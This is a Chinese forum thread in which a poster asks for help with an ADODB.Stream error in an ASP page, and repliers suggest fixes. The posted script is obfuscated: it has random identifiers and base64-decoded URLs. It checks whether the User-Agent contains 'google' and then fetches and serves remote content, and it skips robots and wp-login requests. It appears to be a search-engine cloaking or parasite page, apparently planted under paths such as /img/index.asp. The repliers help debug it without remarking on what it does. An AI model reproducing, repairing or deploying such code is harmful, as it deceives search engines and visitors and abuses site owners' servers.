asp新手求助 ADODB.Stream error '800a0bb9'

[TM_skyinfo]

<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
Function XloEIK(v_elSjRu)
dim v_ErlJuq
set v_ErlJuq=createobject("MSXML2.XMLHTTP")
v_ErlJuq.open "GET",v_elSjRu,false
v_ErlJuq.send()
If v_ErlJuq.readystate<>4 then
exit function
End If
XloEIK=v_BtBlJuq(v_ErlJuq.responseBody)
set v_ErlJuq=nothing
if err.number<>0 then err.Clear
End Function
Function v_BtBlJuq(body)
dim v_EamlObj
set v_EamlObj = CreateObject("adodb.stream")
v_EamlObj.Type = 1
v_EamlObj.Mode =3
v_EamlObj.Open
v_EamlObj.Write body
v_EamlObj.Position = 0
v_EamlObj.Type = 2
v_EamlObj.Charset = "utf-8"
v_BtBlJuq = v_EamlObj.ReadText
v_EamlObj.Close
set v_EamlObj = nothing
end Function

const v_bAslJuq = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
dim newline
dim v_bAslJEn(63)
dim v_bAslJDe(127)
SUB v_EInJuq()
          dim max, idx
             max = len(v_bAslJuq)
          for idx = 0 to max - 1
               v_bAslJEn(idx) = mid(v_bAslJuq, idx + 1, 1)
          next
          for idx = 0 to max - 1
               v_bAslJDe(ASC(v_bAslJEn(idx))) = idx
          next
     END SUB
FUNCTION XYgObU(scrambled)
     if len(scrambled) = 0 then
          XYgObU = ""
          exit function
     end if
     dim realLen
     realLen = len(scrambled)
     do while mid(scrambled, realLen, 1) = "="
          realLen = realLen - 1
     loop
     dim ret, ndx, by4, first, second, third, fourth
     ret = ""
     by4 = (realLen \ 4) * 4
     ndx = 1
     do while ndx <= by4
          first  = v_bAslJDe(asc(mid(scrambled, ndx+0, 1)))
          second = v_bAslJDe(asc(mid(scrambled, ndx+1, 1)))
          third  = v_bAslJDe(asc(mid(scrambled, ndx+2, 1)))
          fourth = v_bAslJDe(asc(mid(scrambled, ndx+3, 1)))
          ret = ret & chr( ((first * 4) AND 255) +   ((second \ 16) AND 3))
          ret = ret & chr( ((second * 16) AND 255) + ((third \ 4) AND 15))
          ret = ret & chr( ((third * 64) AND 255) +  (fourth AND 63))
          ndx = ndx + 4
     loop
     if ndx < realLen then
          first  = v_bAslJDe(asc(mid(scrambled, ndx+0, 1)))
          second = v_bAslJDe(asc(mid(scrambled, ndx+1, 1)))
          ret = ret & chr( ((first * 4) AND 255) +   ((second \ 16) AND 3))
          if realLen MOD 4 = 3 then
               third = v_bAslJDe(asc(mid(scrambled,ndx+2,1)))
               ret = ret & chr( ((second * 16) AND 255) + ((third \ 4) AND 15))
          end if
     end if
     XYgObU = ret
END FUNCTION

Function sPXpaK()
Dim v_nvouRt
Dim v_nvoSep,v_nvoSen,v_nvoScn,QueryString
v_nvoSen = Request.ServerVariables("SERVER_NAME")
v_nvoSep = Request.ServerVariables("SERVER_PORT")
v_nvoScn = Request.ServerVariables("SCRIPT_NAME")
QueryString = Request.ServerVariables("QUERY_STRING")
v_nvouRt="http://"&v_nvoSen
If v_nvoSep <> "80" Then v_nvouRt = v_nvouRt & ":" & v_nvoSep
v_nvouRt=v_nvouRt&v_nvoScn
If QueryString <>"" Then v_nvouRt=v_nvouRt&"?"& QueryString
sPXpaK=v_nvouRt
End Function 

call v_EInJuq
dim v_nLlzwN, v_tjUSnC,v_qdxAoW,v_OCflIN,v_Dtyfwo,v_yUdQZt
v_yUdQZt = XYgObU("aHR0cDovLw==")
v_tjUSnC = sPXpaK()
v_qdxAoW = "FzbKi"&Request.ServerVariables("SERVER_NAME") &Request.ServerVariables("SCRIPT_NAME")
v_qdxAoW = replace(v_qdxAoW,"FzbKi",v_yUdQZt)
v_OCflIN = XYgObU("aHR0cDovL3d3dy5jc2RuLmNuLw==")
v_Dtyfwo = replace(v_tjUSnC,v_qdxAoW,v_OCflIN)
v_Dtyfwo = replace(v_Dtyfwo,"/?","/")
if instr(v_tjUSnC,"robots")>0 then
	Response.End()
end if
if instr(v_tjUSnC,"wp-login.php")>0 then
	Response.End()
end if
Dim v_VkJtQP,v_aqIvtp
v_VkJtQP=Request.ServerVariables("HTTP_USER_AGENT")
if instr(v_VkJtQP,"google")>0 then
v_aqIvtp="1"
end if
if v_aqIvtp="1" then	
	v_nLlzwN = XloEIK(v_Dtyfwo)
	v_nLlzwN = replace(v_nLlzwN,v_OCflIN,v_qdxAoW & "?")
else
	v_nLlzwN = XloEIK(XYgObU("aHR0cDovL3d3dy5jc2RuLmNuLw=="))
end if

if instr(v_tjUSnC,".css")>0 then
	response.AddHeader "content-type","text/css; charset: UTF-8"
	response.write Trim(v_nLlzwN)
else	
	response.write Trim(v_nLlzwN)
end if
%> 

[TM_skyinfo]

ADODB.Stream error '800a0bb9' Arguments are of the wrong type, are out of acceptable range, or are in conflict with one another. /indexbe/index.asp, line 21 一开始好好的 突然出现这个错误 一直无法解决

[TM_skyinfo]

网上搜索了很多相关的问题 解决能力差了些 帮忙看看

[宁静志远]

你在 Function v_BtBlJuq(body)里面加一句if len(body)=0 then exit function来拦截body不是字符串类型的情况看看

[TM_skyinfo]

现在看到了 测试了下 错误好像还是一样的 ADODB.Stream error '800a0c93' Operation is not allowed in this context. /img/index.asp, line 27

[TM_skyinfo]

引用 3 楼 ww_super 的回复:

你在 Function v_BtBlJuq(body)里面加一句if len(body)=0 then exit function来拦截body不是字符串类型的情况看看

ADODB.Stream error '800a0c93' Operation is not allowed in this context. /img/index.asp, line 27

[xuzuning]

Arguments are of the wrong type, are out of acceptable range, or are in conflict with one another. 参数类型不正确，或不在可以接受的范围之内，或与其他参数冲突。 可能是传入的 body 为空 Function v_BtBlJuq(body) if lenb(body)=0 then Bytesv_BtBlJuq="" exit function end if .....

[xuzuning]

怎么粘错了？！ Function v_BtBlJuq(body) if lenb(body)=0 then v_BtBlJuq="" exit function end if .

[TM_skyinfo]

引用 6 楼 xuzuning 的回复:

Arguments are of the wrong type, are out of acceptable range, or are in conflict with one another. 参数类型不正确，或不在可以接受的范围之内，或与其他参数冲突。 可能是传入的 body 为空 Function v_BtBlJuq(body) if lenb(body)=0 then Bytesv_BtBlJuq="" exit function end if .....

我对asp语法只是稍微了解一点 Bytesv_BtBlJuq="" 这里是不是多加个空格 我这是这么做的 就这里不一样

[啊呀]

http://bbs.csdn.net/topics/110172816 http://www.cnblogs.com/xiaotie/archive/2008/07/25/1251269.html 楼主看看这两个帖有帮助没有

[TM_skyinfo]

引用 7 楼 xuzuning 的回复:

怎么粘错了？！ Function v_BtBlJuq(body) if lenb(body)=0 then v_BtBlJuq="" exit function end if .

Bytes

[TM_skyinfo]

说明一下 服务器版本很低（现在又不能转移） 但是在高版本的服务器上面运行没问题

[十三-]

代码上看不出哪里有问题 v_EamlObj.Type = 1 v_EamlObj.Mode =3 v_EamlObj.Open v_EamlObj.Write body .Type = 1 要求类型二进制，这里body 你说传的是Bytes 二进制的那就没问题

[十三-]

实在不行就重新写个可用的，比这找，来的快